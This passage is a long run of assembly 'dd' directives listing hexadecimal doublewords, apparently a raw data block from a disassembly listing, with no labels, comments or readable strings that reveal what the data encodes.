dd 9479529Ah, 30FEB300h, 1ACA071h, 0CE1EAF00h, 8D111A0Ah
dd 0C5E626EEh, 45A3D78h, 4CA624h, 77559256h, 68015DDCh
dd 24BFBE81h, 0E2FC4128h, 0ABB3C5A6h, 0F7D8C830h, 43B90226h
dd 1286EF1Dh, 5E0BDC58h, 0B09C304h, 0E4D865B0h, 3186052h
dd 6C0B0090h, 30DCE09Bh, 5A12B3BEh, 682CF45Bh, 0C8EB4F59h
dd 23147818h, 22F0D8DDh, 0DB820097h, 1BB663AAh, 95071EECh
dd 5FE126BAh, 0DB090A0h, 0C81255D2h, 2457860h, 5FA3B30Ah
dd 1CD241BEh, 0E2945917h, 0D1802009h, 4F5428ECh, 0C8D4CB60h
dd 37E7C086h, 360B3B5Fh, 22BD077Bh, 4E82CB90h, 0FCB5B528h
dd 0D013213h, 2D81630Dh, 522B6093h, 23F86E0Ch, 47C6014Ah
dd 7B4DCCE1h, 82C1AC02h, 79E0F149h, 17581809h, 5D27765h
dd 889DFAA4h, 0DC9B2E4Ch, 80CB4516h, 0D7C05FC8h, 12199056h
dd 4AC63C1h, 0DC3B9BC5h, 0F123F7Ch, 28E203F7h, 6523E700h
dd 73F3F5A8h, 0A628F04h, 489C7E2h, 43D861D2h, 8A970C6Dh
dd 0C199C89Ch, 70277177h, 4E4E6DC4h, 0DC9B9830h, 97B62982h
dd 10956BD8h, 4C809F91h, 460A7845h, 0A097905Bh, 0D0269560h
dd 501500C3h, 0EFAFA143h, 0DA09884Ch, 1D497D09h, 80FF113Ch
dd 0C7E08E9Dh, 0D3BE0134h, 53DCA82Dh, 0D0C0E287h, 0E0D065A4h
dd 8CB3E898h, 452B0D0Bh, 0C098EDCEh, 70548591h, 47EACE0Bh
dd 0F8FC6B50h, 1F193E68h, 71B43B2Eh, 737144A8h, 30A0E2F4h
dd 2E24AD0Eh, 0AE1CE8F5h, 0A8237BD6h, 1A52D0A3h, 0EA791FFAh
dd 0B7E80B2h, 41C036A7h, 4820F35Fh, 0F6E84B0h, 82B36FE3h
dd 139085ECh, 0EBB23302h, 0EB3B0335h, 1580242Ch, 9E465E0Ch
dd 0B2144413h, 9D2900B4h, 85CE35B9h, 0E3DB00A6h, 0CFBF0C3Dh
dd 634E8170h, 208AC082h, 0A372AFA8h, 0F084C09Ch, 38B6E70Dh
dd 0CB171817h, 0C0998838h, 0E61118FBh, 761253E8h, 5C304585h
dd 5AED24Ah, 11405F18h, 2B9B807Eh, 8E17F678h, 0D80028A8h
dd 33B5C458h, 2E207389h, 0C1D0EABDh, 397996BEh, 449AD7F4h
dd 0C7B5AD81h, 0B784FC51h, 1C824A4Bh, 1C805E37h, 89B8B6Eh
dd 0B0E5F08Bh, 18A929E2h, 1E00AEB4h, 1F6E8002h, 0C00EAF57h
dd 0E95C3C6Ch, 5A253DF5h, 1B7800A7h, 82D2CED3h, 465EB45Ch
dd 4404C0Ch, 0C7033084h, 183948B2h, 7630D344h, 0D84B60DFh
dd 0AC469535h, 0E260C301h, 84A0B57Eh, 2FE8E478h, 5100A943h
dd 1F4404E5h, 0B21EF0EAh, 0C627DB9Ah, 0ABF62070h, 0B1C3Ch
dd 3DA564E4h, 5EBC5EE6h, 759440F0h, 32DC37F4h, 78A8B059h
dd 0BDB41797h, 7A6400C6h, 7FEB2DC0h, 129F1262h, 23C0F451h
dd 0F8CE70D6h, 0DFC05F88h, 2F46B1h, 0F5FA21BAh, 0D9132E35h
dd 0F7A898A8h, 0E7100100h
dd 4321278Eh, 0CCB2BDE5h, 4A11AC9Dh, 0B101268Fh, 20B28DDCh
dd 11009D50h, 0DE7B2A3Ah, 2D927D73h, 0D4406FADh, 0C502131Fh
dd 0D29EF064h, 0D4C8019Fh, 4133F88h, 0B9E0F8A6h, 4400FAF4h
dd 0E11A1821h, 8D28C1h, 0C2D84CDBh, 5C482D10h, 8099525Eh
dd 89AC943Ch, 0EF0C128Ch, 8B6C85ECh, 0C683C8CCh, 64BB78E9h
dd 655124A1h, 701C3118h, 9956E7C1h, 14E04CA6h, 940016D8h
dd 3633CCE6h, 5F5A7558h, 27345EE7h, 0FC070CDh, 3D9DABAh
dd 401CB992h, 0F0128DC8h, 0DC8EFFB7h, 16C060C8h, 37A422Bh
dd 5A74CEA5h, 0A81A8F87h, 5929C17Bh, 20F4A028h, 0F0A0A181h
dd 0DE8054F2h, 80E8B6C6h, 6F88A2CDh, 7954E49h, 35E09AD4h
dd 2C3AB3B2h, 8F8C5718h, 0E1B687BEh, 0C82F3A10h, 0C1A7E510h
dd 6EC1BB46h, 84307CCEh, 0A034D45Eh, 0AF056418h, 67EC0A2h
dd 4AC860CEh, 743716C0h, 0D7600B7h, 1E86EADDh, 632DE2E9h
dd 1BE4C88Fh, 1DB300D9h, 672808DDh, 0C30EF3E6h, 67C261B2h
dd 0AC244AD5h, 6C49D4EDh, 900535BCh, 5BCC759Bh, 0B3229C04h
dd 0E1F08D07h, 6333B97Bh, 0B8EC5D28h, 6CC81730h, 89086714h
dd 0A0E4BCC5h, 294E1860h, 7DCB3818h, 0C1F546h, 0D767928Dh
dd 0DB4574D1h, 504AEE25h, 585EA4h, 6301E6F8h, 979554F4h
dd 8703114Ch, 16D10E46h, 7860A9D5h, 0D97E8853h, 0A3AC040Bh
dd 2518FBE1h, 9B597C79h, 69EC9218h, 84C6CF3Bh, 0AD0B2002h
dd 529430AFh, 31805474h, 22570003h, 823D53B4h, 0A0B68CF8h
dd 11D4175Ah, 0EB1D8018h, 1D08399Ch, 0D630CBC0h, 0AC9C8552h
dd 8C9FEC78h, 0E16F4A03h, 691AD2ECh, 6467B814h, 5B620344h
dd 8753B380h, 2C2E5E3Bh, 0E289B0E3h, 0C0905CCDh, 12438B8h
dd 7020365Fh, 0F2608317h, 1EB305C7h, 0ACCDA1CBh, 0A32280A8h
dd 128C94FFh, 0D2C6B840h, 9057F3F0h, 3E919DC0h, 0A200D5D9h
dd 41B4EC4h, 853E3B47h, 54D8021h, 337FF3CDh, 0A867009Bh
dd 6395753Dh, 7F0DF80h, 0E20188B1h, 7CB56BF3h, 0ACC470EEh
dd 5A7B3020h, 0F0F52771h, 898B8601h, 43DA2C69h, 0E370D8h
dd 8393A6F1h, 0F0B2B4F6h, 0AC70219Fh, 4272CA0h, 80C4DA4Ah
dd 285311CAh, 26162E94h, 6BD587CCh, 99092066h, 6D00636Eh
dd 31C4873h, 96C2D26h, 0B3245101h, 44162054h, 6CDAB857h
dd 60B224C7h, 0AF900CF9h, 2FB4525Dh, 0DD0E87Bh, 6D6E04FEh
dd 0C17F6A7Eh, 0CA3164D1h, 7A4AAC5Ah, 90E81440h, 5BA63C2h
dd 0EF620780h, 776C8015h, 0DC8ADA3Ch, 5246561Ch, 0B41FD700h
dd 0B58EC816h, 2F308A3Fh, 0B13016AEh, 1889D18Ch, 0B26E2559h
dd 88F9002Bh, 3AE35300h, 2E90C663h, 0ABC4B57Fh, 23A50370h
dd 46F863AEh, 0CD3A5925h, 0E5BF013Fh, 5042D840h, 0AEC0407Eh
dd 2BFE7C22h, 17E27900h, 4039B315h, 8F2654F8h, 0A5662DB5h
dd 54B892h, 0F92B8B80h, 4D6ABDh, 0A6FFD9AFh, 85B77001h
dd 29D80905h, 0C0B39227h, 8D880730h, 95007AC1h, 9CA8ADB2h
dd 951C878Ah, 9B120481h, 0F0A4666Ah, 7933A12Ch, 7F3D0F55h
dd 34821914h, 0C4DB0EA7h, 465CB8ACh, 0B3750002h, 6A0052Ch
dd 0D4A3C07h, 8F265238h, 889C50B8h, 94C0FF26h, 46740026h
dd 90E70999h, 5CF48774h, 7AE468C9h, 0B8C0C0BBh, 5F32A321h
dd 2F206090h, 0DC335830h, 8090C32Dh, 5A056C49h, 906D5864h
dd 210060B9h, 0D9109941h, 800370F3h, 6726EA66h, 0E78B90D5h
dd 8C9C1249h, 0D1F8935Eh, 0CD6995D0h, 356DE105h, 0A4126723h
dd 50D85474h, 0FC9000BBh, 1ADEC424h, 74BEE6EBh, 94497D50h
dd 7465E50h, 0D8310377h, 8AB348BCh, 0FCDB71A2h, 80A87D92h
dd 0A743DABCh, 50516B01h, 8CC68EECh, 21D716E0h, 0CF800BBh
dd 0D5C2F5A2h, 0B1186324h, 9E990BEFh, 20957Ah, 0E40D60E7h
dd 7B51F301h, 0B06E6314h, 0F63EE184h, 4027BE35h, 0A2A86413h
dd 914052E8h, 0B310806Ch, 0FE3F23B8h, 5B24BCE2h, 0E8052CACh
dd 10B8433Ch, 8C4AE8h, 0A0AA0FC1h, 0B16ECEFDh, 339891B7h
dd 0AF040BC5h, 74B87474h, 38C22ACh, 0B854F301h, 0C188D8AFh
dd 3A12D461h, 5CB1FAECh, 812C2A2Ah, 0EB23364Dh, 0B4402075h
dd 17C026B1h, 0E00F345Eh, 0B61AF06Ch, 0B7C83EA2h, 0AD7B8F08h
dd 0B08803CEh, 0C318C28h, 7ED0C059h, 0B0F06609h, 0E45EB9h
dd 0AAC49812h, 1D281669h, 812D8907h, 5E228E63h, 0D9B34033h
dd 2B7D6Eh, 0DD8A6CF6h, 0A34EA565h, 0A8B60F4Eh, 4DAEBDB0h
dd 82A4DA0Fh, 0D02804h, 0DC90519Ch, 0E00B64ABh, 82C97537h
dd 5C8B7E1Ch, 54676C0h, 34C9A301h, 6EEB0F1Bh, 846008B1h
dd 2F50967Dh, 80C308EDh, 74FAE848h, 0B078008Fh, 0E8D84610h
dd 0C412E9C1h, 90A47E72h, 0F220354h, 7C97C855h, 0F8D59EE8h
dd 0D0733800h, 0C9D6D41Dh, 801302A2h, 9D5E4B67h, 27012070h
dd 0B0CA771Eh, 3024B6ECh, 34CB1C9Bh, 8EDA935Bh, 0CE6088F8h
dd 0AF7C16E0h, 752E9F35h, 0DA0D14C0h, 8BFC602Bh, 0F8E2090Ah
dd 68A5CC8Ah, 0F8E0BCADh, 30FC8CB3h, 96E1B93Eh, 204261C7h
dd 57D95B7Bh, 0FD04D0A3h, 62EB190Bh, 0E18843BEh, 68648378h
dd 0EC6B18DBh, 0A81C30A0h, 0C24E9EECh, 15240A0h, 2BCCC9D4h
dd 242D80ABh, 370CED0Ch, 11A2FA96h, 0E7E4033Eh, 0A1912FE5h
dd 7120D0C5h, 0D3887B4Dh, 0FCD82F60h, 2C48806Ah, 6805B0Ah
dd 41C00169h, 0BE9EC74Ch, 13C4291Eh, 0E0CB89C8h, 0A207E3DDh
dd 850035CDh, 4A2F8A68h, 8044DB5Eh, 856C4AF5h, 0B6AD01B8h
dd 0B0331B1h, 9BB040D8h, 0CF4A3701h, 89C2C10h, 461C2A2h
dd 0CDC12Ch, 4B442705h, 8A1F13E5h, 7CB84Ch, 7EFB2E51h
dd 39A8A7h, 0F8EAF0E3h, 0EBE45AD7h, 0A117BCA0h, 30AEEC80h
dd 0C458F523h, 120EEAEDh, 2975790Ah, 790851EEh, 15318A6h
dd 0DC8219C9h, 0CE852232h, 8619FE2h, 137E019Ch, 0A46431A5h
dd 1F03FCE8h, 1015723Ah, 0E162A2B7h, 218557FDh, 0E6F89BC1h
dd 26A8B074h, 0AE9E0727h, 52C1E5A7h, 0E85236DBh, 0ACB36E2Ch
dd 0D9C3ED62h, 188971B8h, 324F302Ah, 43FA3C49h, 56E3Ch
dd 0DC9DBFA8h, 27754D41h, 50970F93h, 8A80B411h, 0F35608C3h
dd 34509328h, 0C6BA600h, 4E1928C4h, 8FB600D8h, 5F9B1618h
dd 44B064BCh, 0DE678480h, 0FCD8284Fh, 0E86480A0h, 50A3812Eh
dd 0C820E8A8h, 36DCA06Bh, 8C9A5844h, 2718EC2Ch, 84040EEh
dd 3820A705h, 0CD2730A3h, 0C099C4D4h, 519ADE10h, 8E7C5214h
dd 8C0CB824h, 0B1D73909h, 3A24DA93h, 0A4BBB032h, 367BF480h
dd 0C221E28Dh, 0D82DFDE6h, 0D1D8AB35h, 0A6AF0174h, 0F84B1F24h
dd 50E2FA8h, 0C0E19246h, 3111B0AEh, 6C49975Eh, 0BEBC6007h
dd 7E385500h, 4B39E764h, 0A55F0163h, 72C599Eh, 14082E50h
dd 782B8031h, 0CAD3908h, 4BCAAE00h, 222F01C9h, 0A1870EA2h
dd 0DBE0F19Bh, 539F038Ah, 23BCD551h, 249A4AF0h, 7FEC0498h
dd 0A8FDC809h, 11B01D80h, 0A4D98120h, 6C706C7Ch, 0D0EE5804h
dd 47C862Ch, 0BB844AA2h, 907F86Fh, 83379D07h, 0B5E868E7h
dd 0BA0935F5h, 7408614Eh, 32EC4054h, 0E200CB16h, 0D580F96Bh
dd 0B8293F2h, 4F1D3C53h, 400090FAh, 0A9B83448h, 27DF800Fh
dd 34D2F621h, 70DA164Ah, 39D916C3h, 3C4F99Dh, 8DAC449Ch
dd 0AE79E02Ch, 9F7702B5h, 56F852B3h, 9E48A17Dh, 8C48ADEAh
dd 4A689045h, 6B15h, 0E46EF80Ah, 4E1E6F1h, 43B0EA5h, 484CA943h
dd 0E4214FC1h, 0C461EB50h, 0BC743AF4h, 18290F6Ch, 0E078E6D2h
dd 34C5ADDh
dd 0A2D9D785h, 0CFC13AC8h, 62588463h, 0CB412CDh, 82B00F4Dh
dd 0B855232Fh, 972D313Bh, 25805408h, 0B4E43065h, 0AFB1B067h
dd 0BC29DB84h, 4F60A469h, 1703D9Eh, 0CBE035E5h, 8130394Bh
dd 0AF77B208h, 70F87C4Fh, 0C1D673AAh, 9AA8BE10h, 3688D03Ch
dd 2F1EA003h, 0B0CB487Ah, 1CAD69E6h, 0CD0D71h, 2AD08E88h
dd 281F0321h, 40B06CC1h, 1620477h, 58F04A4Eh, 0F0D9BACBh
dd 0B0606F6Dh, 0FBE0CF21h, 33360338h, 0B2E73A3h, 4E820818h
dd 18EA20h, 2638FEFCh, 0BA651059h, 60B5D006h, 0B9ACB4h
dd 0F2C7FD22h, 1325513Ah, 7CED3800h, 842610C4h, 95340772h
dd 0F009DAD1h, 5EC058B1h, 0AD782A0Eh, 0BF354020h, 0C05297E0h
dd 656FAF70h, 0D403C2CAh, 0CCAB135Bh, 1E081883h, 720820BFh
dd 0C1ECCA01h, 5196F789h, 11593980h, 0C6CF1C05h, 3A5FA100h
dd 8343987Ch, 196C335Eh, 0F90097D1h, 693DE0AFh, 50A767A6h
dd 8C738C71h, 3EFBE604h, 87620336h, 0FBDEEC21h, 1C043DCh
dd 0CC63C438h, 8CB7A90Ah, 48AC67E0h, 452D188Eh, 55270B9h
dd 20B08530h, 52FD0302h, 0E5238096h, 0C9CA6401h, 581873D4h
dd 6D0D21C0h, 3CEE14CAh, 4C366B3Dh, 6C46C018h, 31FBE502h
dd 88311B36h, 0FBDDF110h, 38CF781Eh, 0F955DC80h, 84882CCh
dd 0AFA63D56h, 6C330C0Fh, 0D2A898h, 273A6A0Ah, 0CBB477C1h
dd 2600A849h, 9A3C45BBh, 6107419h, 7E89B3B8h, 318C07AEh
dd 603988DFh, 0C8AA8F4Ch, 0BDC20D07h, 42850ED4h, 0BE412C18h
dd 30DEE8EDh, 17118AD6h, 680192C4h, 0C26BE40Ch, 898EBF4h
dd 0BC362123h, 6F909215h, 837700BCh, 0EE3A9DFh, 80880633h
dd 0B169B4C4h, 0BC395474h, 9E1160B7h, 24E6703Eh, 0C4CCD835h
dd 0C0834FA1h, 2BD57F70h, 0A0610CC2h, 7169AA6Ch, 44158FB0h
dd 7C648E47h, 2DC4686h, 0C6692C6h, 137F31F4h, 20929034h
dd 551EECEh, 88FB0CC5h, 29C00FBBh, 0A03285E1h, 804344Eh
dd 0E13EB200h, 86D0F447h, 645E24C9h, 0A0B108B4h, 6A33D100h
dd 0A4BE7755h, 703C0478h, 624835E4h, 0EC7927AAh, 3B2E5020h
dd 59003FC2h, 0C134D15Bh, 3C4C4C8Eh, 0C3925D0Eh, 90E72BE4h
dd 5ECDDA4Ch, 0A6ECFA18h, 742574B0h, 0A788C2A5h, 0E0481F97h
dd 0A30062EBh, 0A0FF36EEh, 17475A38h, 89381h, 929A76Ah
dd 0E100A961h, 0BD0FE76Eh, 3FC6E696h, 60CC692Ch, 8C7CE8h
dd 3AE2F159h, 9A9C330Dh, 31B4A0C4h, 9754B4D2h, 80A49190h
dd 9D7C49FCh, 2A0102BBh, 276EC0F8h, 0F460CC80h, 0A4122B44h
dd 0F008AFC7h, 0CA66C3E7h, 1883D4E9h, 6F0F8859h, 0D2C3CA03h
dd 0B66D33h, 4A46C1E9h, 28C57902h, 0B50C4C13h, 71AEC020h
dd 80900E7h, 34944B7Eh, 0E00FB216h, 211E1DEDh, 0A8874F22h
dd 0DD4841CEh, 9208C918h, 0C4BC0C65h, 0C1354072h, 0BC5F792h
dd 3998D20Bh, 42163D0Ch, 8B2440B2h, 4674A8FCh, 0B69D03B2h
dd 386BDA98h, 7994F848h, 0BB0AA029h, 749C47C1h, 78025B46h
dd 9981354Fh, 0AD9D3C40h, 0E29033F1h, 72BA307Dh, 0FB35FD3Bh
dd 0B4A85562h, 75F044C8h, 75123537h, 2B43A8C1h, 320184C0h
dd 3835EA70h, 3A7F000Eh, 673EA770h, 375901Dh, 0C3B76E14h
dd 89247E6Ch, 80392819h, 88AACF67h, 782AD71h, 1F432001h
dd 0D029A1F5h, 0D1047069h, 5841DE48h, 0DFAF15C0h, 92C780F4h
dd 99EC0C67h, 0BF37C03Ch, 77003392h, 0E3D2632Bh, 14C4DB0Dh
dd 0F06A840Ch, 642CC123h, 0C8BA025Ch, 0AD5752C0h, 1869B0C9h
dd 3CFB08E4h, 7BC41336h, 0FBDCEE40h, 0D8246501h, 0D4A90C9Dh
dd 0B118B3D1h, 7A1324FEh, 48200AD5h, 4CE02302h, 0BF3804BAh
dd 8DF5192h, 68C0E138h, 48D4C5CAh, 9E0D453h, 6908CA71h
dd 406C56A5h, 40AD8DC2h, 0CF2A6F0Eh, 11DAE0D9h, 165B7A31h
dd 1EDE53C0h, 8E28E2B0h, 0F090382Fh, 2CA35B01h, 4DF80AB8h
dd 747818A4h, 1738646h, 4EF38F0h, 50BAB423h, 5750B888h
dd 0B3667F0Eh, 7EC0E0BEh, 1EE1193Ch, 6C671D8Eh, 3E2900E4h
dd 50C386Eh, 0FCC87658h, 265C8C72h, 623C0F4Eh, 3789FF4Ah
dd 0C62C00CBh, 4B97B4h, 0F33F9F08h, 0AD5CD173h, 7A99361Fh
dd 98091824h, 0BFA80467h, 0E7703F60h, 0CC303526h, 70F87E71h
dd 0E4E8003Ah, 0DE459C05h, 0BD013724h, 9DB1066h, 20B8FDh
dd 20D8983Fh, 310A1FE6h, 3C6B9AF1h, 380FB805h, 98DBACD5h
dd 0CDE19F80h, 0B0E27185h, 0E63DB9E2h, 40661CCCh, 0AC9CA344h
dd 8C6E4CCCh, 3BFBE704h, 89620B36h, 0FBDFEF20h, 92FF004Bh
dd 16AC113Eh, 0AE6C02B8h, 401ED841h, 0B5593F83h, 13A2340h
dd 0D4C8CA67h, 402A186Bh, 6C0112BFh, 0B34C09CAh, 0D8DB6DEEh
dd 75F8983Ah, 8758C039h, 0D1C9B4BCh, 6EBC7350h, 24228209h
dd 0E6A8009Eh, 4B3E9933h, 0D4500F4Eh, 4B6E8520h, 1E24F3BBh
dd 3F66C4Fh, 0CF203A72h, 32E8270Fh, 0AC908795h, 0D71850A0h
dd 92C20286h, 6C140C6Ah, 30117C19h, 8DD830BAh, 0FC296F02h
dd 0A049969Eh, 0E2F68B90h, 0C39C1959h, 1870A832h, 3DFB09E1h
dd 1C3B36h, 0FC19ED00h, 0D2DB563Ah, 75480137h, 7AE1AE87h
dd 843C30FFh, 3040B040h, 0BB908F92h, 61D3CAF1h, 80C23008h
dd 4E9340Bh, 0EF696C93h, 43F40F21h, 8EB48E52h, 2BAB0429h
dd 0BA9CECF9h, 3A3F78C0h, 0FEDA2CFFh, 8C191504h, 6992C580h
dd 6B43DC0Ch, 31002022h, 0FF6D92BDh, 4946C0F9h, 1677908Dh
dd 45B22212h, 8EBC3474h, 0C08988A8h, 0E326C56Ah, 44D53A00h
dd 48059E60h, 4802FE03h, 0DC0E184Fh, 0DA09B492h, 83C4C865h
dd 67088660h, 62097E78h, 2BF782Bh, 21ACA88h, 0F498B437h
dd 2C7044BBh, 0F5230602h, 83B6F022h, 48C05FCCh, 1A22D420h
dd 724430A7h, 0F9CC8260h, 0C83BC300h, 0C136D14Ch, 7A9CBA4Ah
dd 8C1A2E64h, 66C68278h, 20721286h, 9C1B020Dh, 744190BCh
dd 1883D515h, 2F7D248Eh, 9319E7F0h, 0E8502548h, 7B008C7Ah
dd 0A72AD05Dh, 1C12744h, 0C887DF6Ch, 5057975Eh, 0C420B190h
dd 0A3E12C00h, 42D47091h, 50D350A5h, 0E1AA4094h, 8B53326h
dd 31418C2Ch, 1824C299h, 504B6B58h, 0C200B4BDh, 51846EF8h
dd 37FC04EDh, 0B14DDD8h, 91B89754h, 138980AAh, 1A2239Fh
dd 0AB1518C8h, 0DC328734h, 59D3172Ah, 0A1233C2Fh, 0B9817B00h
dd 2ADE9F9Dh, 0C8B76Ch, 0C4834755h, 8D302E60h, 885A962Ah
dd 843C2700h, 6DE7BC19h, 0DBF701E5h, 6FDFFF61h, 9E0203Eh
dd 7082E926h, 89053C40h, 4108A27Dh, 6118E4ECh, 0D4C6CA0Bh
dd 3589C7Bh, 5DCA6E0Ch, 1BB0FE74h, 0E0A0AEA8h, 0C72442D0h
dd 200048Eh, 56F1CC67h, 9E19035Bh, 6048700Ah, 0B9B768E0h
dd 5682F1C0h, 18B6C4h, 39FE5496h, 20A975E1h, 9F099C7Ch
dd 0E82A8E6Ch, 0E6EE6B4h, 5608C69Eh, 0F8E5FFC9h, 18BE59E2h
dd 1E0B07DCh, 878AF8D6h, 0C4F6B40Ch, 9B5827C8h, 0B865A4A9h
dd 9C6120E4h, 0C33CDh, 0C0D9F09Ah, 1A5E5243h, 60A104FAh
dd 27E210E5h, 80A218BFh, 0BA48A805h, 87853D4Ch, 308A000h
dd 17C2A59h, 0CFF0CCADh, 885AE3D1h, 0BAF78D0h, 1806EC86h
dd 42F08128h, 7A4124h, 7420E245h, 236492C8h, 2111C40Ch
dd 92C04A00h, 0DAF6B3AEh, 416CCF0Bh, 88884550h, 3549AC6Eh
dd 0A74880F0h, 6D03023h, 0F896A504h, 4C11EDAh, 7832C02Eh
dd 2276EE16h, 0B4EAD87Ch, 7C446447h, 68431F60h, 2ED19200h
dd 0F880E361h, 6FDE30A0h, 1E950B68h, 0E57CF27Dh, 7860A9FAh
dd 90F46818h, 8768924Fh
dd 602544ECh, 3408C22h, 0E9FAF0BDh, 9907796Ch, 92AC29FFh
dd 6AF99790h, 0B3F2161Fh, 19EC05B2h, 0B240A374h, 613430A4h
dd 41F56D00h, 82F881AEh, 9599143Ch, 584CD866h, 2444211h
dd 0A00E75F4h, 3DD5E16Ah, 749879A4h, 0DB1FB346h, 42CA6AEh
dd 87B6A932h, 0B12A3060h, 0AD547BE8h, 64B6AFE0h, 0BF27215Eh
dd 95A88881h, 78305C7Fh, 60CC643Dh, 3894CDE5h, 6A007BB0h
dd 21D162B4h, 12C4CE6Eh, 45F511DAh, 5D7F6CA8h, 0D9C84EC0h
dd 414887A6h, 0C1164898h, 0BC095476h, 9F102932h, 9DA51120h
dd 71BAA100h, 0BE99387h, 0F5262313h, 0CC09C044h, 9CF5BD8h
dd 8C0E002h, 1228F602h, 82708172h, 59D284h, 69187BF1h
dd 1DD8640Dh, 0D020C87Ch, 619F0062h, 6F15D099h, 0B42663A7h
dd 74A310E5h, 0F4E1658h, 0B6D0B0D5h, 75173320h, 0C07C9E5Fh
dd 0E04A8BAh, 0A1F83674h, 3E0AC90h, 4EAB2D68h, 0DB007CB7h
dd 0E7090C0Ah, 0C0363BD3h, 84DC8AAEh, 0C01C6699h, 10570E24h
dd 282FBC4Fh, 97057A23h, 54C9C602h, 20AABC02h, 0D0A91079h
dd 9299C0Fh, 67E00535h, 0B12C74C1h, 30FBDA01h, 9F40B8C8h
dd 6FD7298Ch, 1886D1E0h, 5DCE3997h, 0B7E8E089h, 151BF848h
dd 320B7075h, 20D82303h, 8660E16Ch, 5EE49691h, 81BE5B21h
dd 0A532D786h, 0C1C6078h, 38232Fh, 0D5E67A28h, 2C7C00F8h
dd 0F2B024D6h, 0CB37B4E3h, 8EB591A2h, 0E159D040h, 15C67Bh
dd 8B23DB13h, 3D8399FBh, 0D678680Ch, 1D652981h, 400453BBh
dd 0D31E4D0Dh, 6725E6DAh, 3A4B7FAh, 0AAA53D59h, 996B9CF8h
dd 19262D25h, 702CED94h, 8C7FB8h, 7BE56A22h, 4263D782h
dd 0AC05352Eh, 4464D48Bh, 9EBB1638h, 1109568h, 0E0322C6Ch
dd 43A040BEh, 30248E59h, 372DAC6Eh, 7FE384F4h, 38C0F19Ah
dd 20659FB8h, 1F20EA20h, 8F7501F7h, 1D9809C5h, 95D400BFh
dd 3120064h, 6BEA4FBAh, 0CB00798Bh, 70D00EA1h, 6E45378h
dd 268E6C5h, 18EDA071h, 0C4CA086Bh, 20C64BD4h, 700E0061h
dd 8A7D15CAh, 0C0003457h, 0CCBB590Fh, 3E44F461h, 1A899B6Fh
dd 883BB788h, 0FBEA60ECh, 0E3361332h, 0F0682CA2h, 0D6FBE200h
dd 434CBB25h, 0D0280F7Ah, 35657869h, 97C40271h, 0D0D3C7BFh
dd 0CEFF70h, 7E248E49h, 0D7B4BF94h, 2F887959h, 0D1D4A081h
dd 7C3C7DF8h, 33C602B5h, 8421AA06h, 91607478h, 69996031h
dd 0B612F5Eh, 2A08501Dh, 0AC560BFh, 940B4D64h, 826925EFh
dd 116B54Ch, 60ABB4D0h, 9D8A81E4h, 807C1170h, 0A87321EDh
dd 4A278C9h, 4EA0C7E1h, 0E2A0C427h, 317BF2BCh, 70B1F1D5h
dd 39178627h, 309AED64h, 634AABC0h, 8213A6A1h, 70810C1Ah
dd 0C450B6B7h, 0EE3AB908h, 47AB0B02h, 0AC98606Fh, 3D3D0F57h
dd 0ED3B0784h, 68D1BC78h, 0C44E7022h, 0ACC02788h, 30A8Fh
dd 92612FFAh, 8896887h, 14B8BB74h, 99410E27h, 9854D3D0h
dd 4600A06Fh, 5E1356BDh, 0A496B4C5h, 0D0B73980h, 1D73A1AAh
dd 49368FF8h, 0B4E62442h, 48BE58h, 0FFE1DB3Dh, 0C077DEF0h
dd 0D07F7CA0h, 6CBEDA06h, 70EE0ED6h, 5E493499h, 0D036D040h
dd 0A9142227h, 79885994h, 50C187Ah, 0F3F8CCA4h, 0F424C2FDh
dd 79C4AC79h, 48708752h, 56EC1249h, 89EC4020h, 9F63EFCh
dd 7F714700h, 64946F30h, 8C192EF8h, 94C66980h, 72449CA7h
dd 0BC809E60h, 0A6D3E101h, 342FB512h, 83A26833h, 9B1030h
dd 4A81CEC8h, 97DDC5CBh, 3401C49h, 419F796Eh, 0A8249B64h
dd 0C530A6h, 0C003B9D0h, 9EB8C87Ah, 3BE66601h, 0AD55D699h
dd 9A22F029h, 465EE4BEh, 4E970F7Dh, 785280C3h, 2C0AD2C6h
dd 257C8575h, 2C3CE861h, 0C0BD8814h, 35E17039h, 4486CCE0h
dd 70FC80ADh, 0E4509B01h, 75FEC836h, 2C6BCC40h, 21885A2Ah
dd 80792D64h, 4A24D170h, 0C86F8297h, 28036D8h, 0FE3AD06Ah
dd 440492F5h, 0E93FC7ACh, 3140058Ch, 0DCC89F6Eh, 25F818B0h
dd 54CB7089h, 60D0D091h, 7C840A76h, 249440CEh, 11C80018h
dd 25703407h, 0D0FA9100h, 86836085h, 0F398397Ch, 77937687h
dd 0DFA5811Ah, 1000F382h, 0D544264h, 19AFE4FCh, 834FF73h
dd 8021BF6Ch, 0CC6954EAh, 62E1531h, 49929E02h, 7E015078h
dd 778EBD08h, 4E0F284h, 388F6F9Dh, 0BAAA1C00h, 0D87D112Ch
dd 0CFF98819h, 21848008h, 80BAA239h, 2634A79Dh, 9B95F526h
dd 0F8450707h, 80902A00h, 6310D86h, 0D4D85EB4h, 9200BB2Eh
dd 0CFCA11F3h, 28E6855Dh, 1E887A7Bh, 0C02E9793h, 1819FCA9h
dd 4966F48Fh, 218308h, 8ECF3731h, 6AF5D002h, 0E67990A0h
dd 607BDC30h, 3DC784F4h, 0EC8FCC58h, 8EA0E81Ah, 731705Eh
dd 8727FF18h, 244B628h, 15627F78h, 0C8A07BCEh, 0AAC21E93h
dd 5727920Fh, 19702C0Dh, 85150001h, 9DFAA423h, 73007AB2h
dd 40EA876h, 19478F3Ah, 0D0826AB6h, 83118EBh, 11FCA8CFh
dd 364E81C4h, 0F96ECF21h, 7412DCEFh, 37AC19C0h, 48A4DCD6h
dd 4100C2Eh, 0D4606881h, 0AC800A11h, 0A8112ABAh, 4F7D448Ch
dd 48BAA400h, 80AC4643h, 0ED010FD6h, 74814AC5h, 5B24DD3h
dd 17CC7BBh, 847162F6h, 87FF98E0h, 0C5F72490h, 189C60FEh
dd 8BFA51E3h, 0CE57A300h, 3E72CBE6h, 1A5F297h, 0C7F2166Eh
dd 269E7C1Bh, 543D0254h, 31ECFC08h, 0E5431070h, 0EB260054h
dd 0C7596074h, 0A1FDB97h, 0AE890727h, 9D8812F8h, 822B1154h
dd 0C0BEE308h, 6002F588h, 0F816C89Bh, 10907B74h, 829E2603h
dd 1D79C625h, 6BD7C39h, 11947433h, 0C208B300h, 695B1A3Dh
dd 0C9127F78h, 0E8306D08h, 70009361h, 0FED9DDC8h, 924DCB7Eh
dd 0C42C8738h, 67236061h, 9297319Ah, 0DC4F1A49h, 252C29B2h
dd 6D03F02Fh, 0E820B5F0h, 1493C482h, 0B085070Fh, 93EA1C50h
dd 0CF2A014Ch, 1839FCADh, 3531C048h, 0A01CCF33h, 8078100h
